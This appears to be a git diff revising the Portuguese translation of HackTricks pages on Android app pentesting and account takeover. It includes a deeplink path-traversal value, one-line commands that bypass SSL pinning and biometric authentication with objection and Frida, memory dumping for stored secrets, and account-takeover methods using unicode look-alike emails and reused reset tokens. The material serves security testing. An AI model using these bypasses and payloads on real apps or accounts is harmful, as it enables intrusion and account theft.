Você **também deve verificar se algum deeplink está usando um parâmetro dentro do caminho** do URL, como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar uma travessia de caminho acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Observe que se você encontrar os endpoints corretos dentro do aplicativo, poderá causar um **Redirecionamento Aberto** (se parte do caminho for usado como nome de domínio), **assumir a conta** (se puder modificar detalhes de usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [informações sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Observe que se você encontrar os endpoints corretos dentro do aplicativo, poderá causar um **Redirecionamento Aberto** (se parte do caminho for usada como nome de domínio), **assumir a conta** (se puder modificar detalhes de usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [informações sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Mais exemplos**
|
||||
|
||||
|
@ -441,28 +441,28 @@ Um [relatório interessante de recompensa por bugs](https://hackerone.com/report
|
|||
### Falhas na Inspeção e Verificação da Camada de Transporte
|
||||
|
||||
* **Certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum esses aplicativos ignorarem avisos e aceitarem certificados autoassinados ou, em alguns casos, voltarem a usar conexões HTTP.
|
||||
* **Negociações durante o handshake SSL/TLS às vezes são fracas**, empregando conjuntos de cifras inseguros. Essa vulnerabilidade torna a conexão suscetível a ataques de homem-no-meio (MITM), permitindo que invasores descriptografem os dados.
|
||||
* **Vazamento de informações privadas** é um risco quando aplicativos autenticam usando canais seguros, mas depois comunicam-se por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, da interceptação por entidades maliciosas.
|
||||
* **Negociações durante o handshake SSL/TLS às vezes são fracas**, empregando suítes de cifra inseguras. Essa vulnerabilidade torna a conexão suscetível a ataques do tipo homem-no-meio (MITM), permitindo que invasores descriptografem os dados.
|
||||
* **Vazamento de informações privadas** é um risco quando aplicativos autenticam usando canais seguros, mas depois comunicam-se por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
|
||||
|
||||
#### Verificação de Certificado
|
||||
|
||||
Vamos focar na **verificação de certificado**. A integridade do certificado do servidor deve ser verificada para aumentar a segurança. Isso é crucial porque configurações TLS inseguras e a transmissão de dados sensíveis por canais não criptografados podem representar riscos significativos. Para etapas detalhadas sobre a verificação de certificados do servidor e a correção de vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) fornece orientações abrangentes.
|
||||
Vamos focar na **verificação de certificado**. A integridade do certificado do servidor deve ser verificada para aumentar a segurança. Isso é crucial porque configurações TLS inseguras e a transmissão de dados sensíveis por canais não criptografados podem representar riscos significativos. Para etapas detalhadas sobre a verificação de certificados de servidor e abordagem de vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) fornece orientações abrangentes.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
O SSL Pinning é uma medida de segurança em que o aplicativo verifica o certificado do servidor em relação a uma cópia conhecida armazenada dentro do próprio aplicativo. Este método é essencial para prevenir ataques MITM. Implementar o SSL Pinning é altamente recomendado para aplicativos que lidam com informações sensíveis.
|
||||
SSL Pinning é uma medida de segurança em que o aplicativo verifica o certificado do servidor em relação a uma cópia conhecida armazenada dentro do próprio aplicativo. Este método é essencial para prevenir ataques MITM. Implementar o SSL Pinning é altamente recomendado para aplicativos que lidam com informações sensíveis.
|
||||
|
||||
#### Inspeção de Tráfego
|
||||
|
||||
Para inspecionar o tráfego HTTP, é necessário **instalar o certificado da ferramenta de proxy** (por exemplo, Burp). Sem instalar este certificado, o tráfego criptografado pode não ser visível através do proxy. Para um guia sobre como instalar um certificado CA personalizado, [**clique aqui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Aplicativos direcionados ao **Nível de API 24 e acima** requerem modificações na Configuração de Segurança de Rede para aceitar o certificado CA do proxy. Este passo é crucial para inspecionar o tráfego criptografado. Para instruções sobre como modificar a Configuração de Segurança de Rede, [**consulte este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
Aplicativos direcionados ao **Nível de API 24 e acima** requerem modificações na Configuração de Segurança de Rede para aceitar o certificado CA do proxy. Este passo é crítico para inspecionar o tráfego criptografado. Para instruções sobre como modificar a Configuração de Segurança de Rede, [**consulte este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
#### Bypass do SSL Pinning
|
||||
#### Bypassing SSL Pinning
|
||||
|
||||
Quando o SSL Pinning é implementado, torna-se necessário contorná-lo para inspecionar o tráfego HTTPS. Vários métodos estão disponíveis para esse fim:
|
||||
|
||||
* Modificar automaticamente o **apk** para **burlar** o SSLPinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A maior vantagem desta opção é que você não precisará de acesso root para burlar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
|
||||
* Modificar automaticamente o **apk** para **burlar** o SSL Pinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A maior vantagem desta opção é que você não precisará de acesso root para burlar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
|
||||
* Você pode usar o **Frida** (discutido abaixo) para burlar essa proteção. Aqui está um guia para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Você também pode tentar **burlar automaticamente o SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* Você também pode tentar **burlar automaticamente o SSL Pinning** usando **análise dinâmica do MobSF** (explicado abaixo)
|
||||
|
@ -484,9 +484,9 @@ Se você deseja fazer pentest em aplicativos Android, precisa saber como usar o
|
|||
* Você pode encontrar alguns scripts incríveis do Frida aqui: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
* Tente burlar mecanismos anti-depuração / anti-Frida carregando o Frida conforme indicado em [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (ferramenta [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Despejo de Memória - Fridump**
|
||||
### **Despejar Memória - Fridump**
|
||||
|
||||
Verifique se o aplicativo está armazenando informações sensíveis na memória que não deveria estar armazenando, como senhas ou mnemônicos.
|
||||
Verifique se o aplicativo está armazenando informações sensíveis na memória que não deveria, como senhas ou mnemônicos.
|
||||
|
||||
Usando [**Fridump3**](https://github.com/rootbsd/fridump3) você pode despejar a memória do aplicativo com:
|
||||
```bash
|
||||
|
@ -507,7 +507,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
|||
|
||||
### **Dados sensíveis no Keystore**
|
||||
|
||||
No Android, o Keystore é o melhor lugar para armazenar dados sensíveis, no entanto, com privilégios suficientes ainda é **possível acessá-lo**. Como os aplicativos tendem a armazenar aqui **dados sensíveis em texto claro**, os testes de penetração devem verificar isso, pois um usuário root ou alguém com acesso físico ao dispositivo pode ser capaz de roubar esses dados.
|
||||
No Android, o Keystore é o melhor lugar para armazenar dados sensíveis, no entanto, com privilégios suficientes ainda é **possível acessá-lo**. Como os aplicativos tendem a armazenar aqui **dados sensíveis em texto claro**, os testes de penetração devem verificar isso, pois um usuário root ou alguém com acesso físico ao dispositivo poderia roubar esses dados.
|
||||
|
||||
Mesmo que um aplicativo armazene dados no keystore, os dados devem ser criptografados.
|
||||
|
||||
|
@ -517,7 +517,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
|||
```
|
||||
### **Bypass de Impressão Digital/Biometria**
|
||||
|
||||
Usando o seguinte script do Frida, poderia ser possível **burlar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger áreas sensíveis específicas:**
|
||||
Usando o seguinte script do Frida, poderia ser possível **burlar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger áreas sensíveis:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -527,7 +527,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
|||
|
||||
### **Imagens de Fundo**
|
||||
|
||||
Quando você coloca um aplicativo em segundo plano, o Android armazena um **instantâneo do aplicativo** para que, quando ele for recuperado para o primeiro plano, comece a carregar a imagem antes do aplicativo, fazendo com que pareça que o aplicativo foi carregado mais rapidamente.
|
||||
Quando você coloca um aplicativo em segundo plano, o Android armazena um **instantâneo do aplicativo** para que, quando ele for recuperado para o primeiro plano, comece a carregar a imagem antes do aplicativo, para que pareça que o aplicativo foi carregado mais rapidamente.
|
||||
|
||||
No entanto, se esse instantâneo contiver **informações sensíveis**, alguém com acesso ao instantâneo pode **roubar essas informações** (observe que é necessário ter acesso root para acessá-lo).
|
||||
|
||||
|
@ -541,15 +541,15 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
|||
|
||||
Esta ferramenta pode ajudá-lo a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
|
||||
|
||||
### Injeção de Intenção
|
||||
### Injeção de Intenções
|
||||
|
||||
Os desenvolvedores frequentemente criam componentes de proxy como atividades, serviços e receptores de transmissão que lidam com essas Intenções e as passam para métodos como `startActivity(...)` ou `sendBroadcast(...)`, o que pode ser arriscado.
|
||||
|
||||
O perigo está em permitir que atacantes acionem componentes de aplicativos não exportados ou acessem provedores de conteúdo sensíveis ao desviar essas Intenções. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e então executando-os, potencialmente levando a injeções maliciosas de Intenção.
|
||||
O perigo está em permitir que atacantes acionem componentes de aplicativos não exportados ou acessem provedores de conteúdo sensíveis ao desviar essas Intenções. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e então executando-os, potencialmente levando a injeções maliciosas de Intenções.
|
||||
|
||||
### Pontos Essenciais
|
||||
|
||||
* **Injeção de Intenção** é semelhante ao problema de Redirecionamento Aberto na web.
|
||||
* **Injeção de Intenções** é semelhante ao problema de Redirecionamento Aberto na web.
|
||||
* As explorações envolvem passar objetos `Intent` como extras, que podem ser redirecionados para executar operações inseguras.
|
||||
* Pode expor componentes não exportados e provedores de conteúdo a atacantes.
|
||||
* A conversão de URL do `WebView` para `Intent` pode facilitar ações não intencionais.
|
||||
|
@ -560,7 +560,7 @@ Provavelmente você conhece esse tipo de vulnerabilidades da Web. Você deve ter
|
|||
|
||||
* **Injeção de SQL:** Ao lidar com consultas dinâmicas ou Provedores de Conteúdo, certifique-se de estar usando consultas parametrizadas.
|
||||
* **Injeção de JavaScript (XSS):** Verifique se o suporte a JavaScript e Plugins está desativado para quaisquer WebViews (desativado por padrão). [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
* **Inclusão de Arquivo Local:** Os WebViews devem ter acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
* **Inclusão de Arquivo Local:** WebViews devem ter acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
* **Cookies eternos:** Em vários casos, quando o aplicativo Android encerra a sessão, o cookie não é revogado ou pode até ser salvo no disco.
|
||||
* [**Flag Segura** em cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
||||
|
@ -568,10 +568,10 @@ Provavelmente você conhece esse tipo de vulnerabilidades da Web. Você deve ter
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
Interaja com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
||||
|
@ -595,14 +595,15 @@ docker pull opensecurity/mobile-security-framework-mobsf
|
|||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Observe que o MobSF pode analisar aplicativos **Android**(apk), **IOS**(ipa) e **Windows**(apx) (_os aplicativos do Windows devem ser analisados a partir de um MobSF instalado em um host Windows_).\
|
||||
Além disso, se você criar um arquivo **ZIP** com o código-fonte de um aplicativo **Android** ou **IOS** (vá até a pasta raiz do aplicativo, selecione tudo e crie um arquivo ZIP), ele também poderá analisá-lo.
|
||||
Além disso, se você criar um arquivo **ZIP** com o código-fonte de um aplicativo **Android** ou **IOS** (vá até a pasta raiz do aplicativo, selecione tudo e crie um arquivo ZIP), o MobSF também poderá analisá-lo.
|
||||
|
||||
O MobSF também permite que você faça a **diferença/comparação** de análises e integre o **VirusTotal** (você precisará configurar sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Sua chave de API>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **enviado** em vez do arquivo.
|
||||
|
||||
### Análise dinâmica assistida com o MobSF
|
||||
### Análise Dinâmica Assistida com o MobSF
|
||||
|
||||
O **MobSF** também pode ser muito útil para **análise dinâmica** no **Android**, mas nesse caso você precisará instalar o MobSF e o **genymotion** em seu host (uma VM ou Docker não funcionarão). _Nota: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF.**_\
|
||||
O **analisador dinâmico do MobSF** pode:
|
||||
O **MobSF** também pode ser muito útil para **análise dinâmica** no **Android**, mas nesse caso você precisará instalar o MobSF e o **genymotion** em seu host (uma VM ou Docker não funcionarão). _Observação: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF**._
|
||||
|
||||
O analisador dinâmico do **MobSF** pode:
|
||||
|
||||
* **Extrair dados do aplicativo** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas pelo "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando desejar uma captura de tela ou pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
|
||||
* Capturar **tráfego HTTPS**
|
||||
|
@ -616,7 +617,7 @@ Por padrão, ele também usará alguns Scripts do Frida para **burlar a verifica
|
|||
O MobSF também pode **invocar atividades exportadas**, capturar **capturas de tela** delas e **salvá-las** para o relatório.
|
||||
|
||||
Para **iniciar** os testes dinâmicos, pressione o botão verde: "**Iniciar Instrumentação**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts do Frida e "**Monitor de API ao Vivo**" para ver todas as invocações aos métodos conectados, argumentos passados e valores retornados (isso aparecerá após pressionar "Iniciar Instrumentação").\
|
||||
O MobSF também permite que você carregue seus próprios **scripts do Frida** (para enviar os resultados de seus scripts do Friday para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Carregar**" e pressionar "**Iniciar Instrumentação**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
|
||||
O MobSF também permite carregar seus próprios **scripts do Frida** (para enviar os resultados de seus scripts do Friday para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Carregar**" e pressionar "**Iniciar Instrumentação**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
|
||||
|
||||
![](<../../.gitbook/assets/image (419).png>)
|
||||
|
||||
|
@ -624,7 +625,7 @@ Além disso, você tem algumas funcionalidades auxiliares do Frida:
|
|||
|
||||
* **Enumerar Classes Carregadas**: Ele imprimirá todas as classes carregadas
|
||||
* **Capturar Strings**: Ele imprimirá todas as strings capturadas ao usar o aplicativo (muito ruidoso)
|
||||
* **Comparação de Strings Capturadas**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso.
|
||||
* **Capturar Comparação de Strings**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso.
|
||||
* **Enumerar Métodos de Classe**: Insira o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe.
|
||||
* **Pesquisar Padrão de Classe**: Pesquisar classes por padrão
|
||||
* **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que por padrão o MobSF rastreia vários métodos interessantes da API do Android.
|
||||
|
@ -644,8 +645,8 @@ receivers
|
|||
```
|
||||
**Ferramentas HTTP**
|
||||
|
||||
Quando o tráfego http é capturado, você pode ver uma visualização feia do tráfego capturado no rodapé "**HTTP(S) Traffic**" ou uma visualização mais agradável no botão verde "**Start HTTPTools**". A partir da segunda opção, você pode **enviar** as **solicitações capturadas** para **proxies** como Burp ou Owasp ZAP.\
|
||||
Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a solicitação_ --> pressione "**Send to Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.1:8080)).
|
||||
Quando o tráfego http é capturado, você pode ver uma visualização feia do tráfego capturado no fundo "**HTTP(S) Traffic**" ou uma visualização mais agradável no fundo verde "**Start HTTPTools**". A partir da segunda opção, você pode **enviar** as **solicitações capturadas** para **proxies** como Burp ou Owasp ZAP.\
|
||||
Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a solicitação_ --> pressione "**Enviar para Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.1:8080)).
|
||||
|
||||
Após concluir a análise dinâmica com o MobSF, você pode pressionar "**Start Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
|
||||
|
||||
|
@ -669,7 +670,7 @@ Esta é uma **ótima ferramenta para realizar análise estática com uma GUI**
|
|||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Esta ferramenta é projetada para procurar várias **vulnerabilidades de segurança relacionadas a aplicativos Android**, seja no **código-fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um APK implantável "Proof-of-Concept"** e **comandos ADB** para explorar algumas das vulnerabilidades encontradas (atividades expostas, intenções, tapjacking...). Assim como o Drozer, não é necessário fazer root no dispositivo de teste.
|
||||
Esta ferramenta é projetada para procurar várias **vulnerabilidades de segurança relacionadas a aplicativos Android**, seja no **código-fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um APK implantável "Prova de Conceito"** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (atividades expostas, intenções, tapjacking...). Assim como o Drozer, não é necessário fazer root no dispositivo de teste.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
|
@ -712,7 +713,7 @@ Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases):
|
|||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
|
||||
|
||||
O AndroBugs Framework é um sistema de análise de vulnerabilidades do Android que ajuda desenvolvedores ou hackers a encontrar possíveis vulnerabilidades de segurança em aplicativos Android.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
|
||||
[Releases para Windows](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
androbugs.exe -f [APK file]
|
||||
|
@ -733,7 +734,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||
|
||||
**MARA** é um **F**ramework de **R**everse engineering e **A**nálise de **A**plicativos **M**óveis. É uma ferramenta que reúne ferramentas comumente usadas para reverse engineering e análise de aplicativos móveis, para auxiliar nos testes de aplicativos móveis contra as ameaças de segurança móvel da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicativos móveis e profissionais de segurança.
|
||||
|
||||
Ele é capaz de:
|
||||
É capaz de:
|
||||
|
||||
* Extrair código Java e Smali usando diferentes ferramentas
|
||||
* Analisar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
@ -748,11 +749,11 @@ Ele é capaz de:
|
|||
|
||||
## Ofuscando/Desofuscando código
|
||||
|
||||
Observe que, dependendo do serviço e configuração que você usa para ofuscar o código, segredos podem ou não ser ofuscados.
|
||||
Observe que, dependendo do serviço e configuração que você usa para ofuscar o código, segredos podem ou não ser desofuscados.
|
||||
|
||||
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
|
||||
|
||||
Do [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** é uma ferramenta de linha de comando de código aberto que reduz, otimiza e ofusca o código Java. Ele é capaz de otimizar o bytecode, bem como detectar e remover instruções não utilizadas. O ProGuard é um software gratuito e é distribuído sob a Licença Pública Geral GNU, versão 2.
|
||||
Do [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** é uma ferramenta de linha de comando de código aberto que reduz, otimiza e ofusca código Java. Ele é capaz de otimizar bytecode, bem como detectar e remover instruções não utilizadas. O ProGuard é um software gratuito e é distribuído sob a Licença Pública Geral GNU, versão 2.
|
||||
|
||||
O ProGuard é distribuído como parte do Android SDK e é executado ao compilar o aplicativo no modo de lançamento.
|
||||
|
||||
|
@ -776,7 +777,7 @@ Você pode fazer upload de um APK ofuscado para a plataforma deles.
|
|||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
É um **desofuscador genérico para Android.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que ele se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual o tipo específico de ofuscação usado.
|
||||
É um **desofuscador genérico para Android.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual o tipo específico de ofuscação é usado.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
|
@ -790,7 +791,7 @@ APKiD fornece informações sobre **como um APK foi feito**. Ele identifica muit
|
|||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b é uma máquina virtual de segurança Android baseada no ubuntu-mate que inclui a coleção mais recente de estruturas, tutoriais e laboratórios de diferentes geeks de segurança e pesquisadores para engenharia reversa e análise de malware.
|
||||
AndroL4b é uma máquina virtual de segurança Android baseada no ubuntu-mate que inclui a coleção dos últimos frameworks, tutoriais e laboratórios de diferentes geeks de segurança e pesquisadores para engenharia reversa e análise de malware.
|
||||
|
||||
## Referências
|
||||
|
||||
|
@ -811,12 +812,12 @@ AndroL4b é uma máquina virtual de segurança Android baseada no ubuntu-mate qu
|
|||
Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server para se comunicar com hackers experientes e caçadores de bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
|
||||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
**Últimas Anúncios**\
|
||||
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
@ -829,7 +830,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -7,9 +7,9 @@
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
@ -24,15 +24,24 @@ O e-mail de uma conta deve ser tentado a ser alterado, e o processo de confirma
|
|||
2. Uma conta deve ser criada usando Unicode\
|
||||
por exemplo: `vićtim@gmail.com`
|
||||
|
||||
Conforme explicado [**neste vídeo**](https://www.youtube.com/watch?v=CiIyaZ3x49c), o ataque anterior também poderia ser feito abusando de provedores de identidade de terceiros:
|
||||
|
||||
* Criar uma conta no provedor de identidade de terceiros com um e-mail semelhante ao da vítima usando algum caractere unicode (`vićtim@company.com`).
|
||||
* O provedor de terceiros não deve verificar o e-mail
|
||||
* Se o provedor de identidade verificar o e-mail, talvez você possa atacar a parte do domínio como: `victim@ćompany.com` e registrar esse domínio e esperar que o provedor de identidade gere a versão ascii do domínio enquanto a plataforma da vítima normaliza o nome de domínio.
|
||||
* Faça login via esse provedor de identidade na plataforma da vítima que deve normalizar o caractere unicode e permitir que você acesse a conta da vítima.
|
||||
|
||||
Para mais detalhes, consulte o documento sobre Normalização Unicode:
|
||||
|
||||
{% content-ref url="unicode-injection/unicode-normalization.md" %}
|
||||
[unicode-normalization.md](unicode-injection/unicode-normalization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Reutilização de Token de Redefinição**
|
||||
|
||||
Caso o sistema-alvo permita que o **link de redefinição seja reutilizado**, esforços devem ser feitos para **encontrar mais links de redefinição** usando ferramentas como `gau`, `wayback` ou `scan.io`.
|
||||
Caso o sistema alvo permita que o **link de redefinição seja reutilizado**, esforços devem ser feitos para **encontrar mais links de redefinição** usando ferramentas como `gau`, `wayback`, ou `scan.io`.
|
||||
|
||||
## **Pré-Assumir o Controle da Conta**
|
||||
## **Pré Assumir o Controle da Conta**
|
||||
|
||||
1. O e-mail da vítima deve ser usado para se inscrever na plataforma, e uma senha deve ser definida (uma tentativa de confirmá-la deve ser feita, embora a falta de acesso aos e-mails da vítima possa tornar isso impossível).
|
||||
2. Deve-se aguardar até que a vítima se inscreva usando OAuth e confirme a conta.
|
||||
|
@ -40,7 +49,7 @@ Caso o sistema-alvo permita que o **link de redefinição seja reutilizado**, es
|
|||
|
||||
## **Configuração Incorreta de CORS para Assumir o Controle da Conta**
|
||||
|
||||
Se a página contiver **configurações CORS incorretas**, você pode ser capaz de **roubar informações sensíveis** do usuário para **assumir o controle de sua conta** ou fazê-lo alterar informações de autenticação para o mesmo propósito:
|
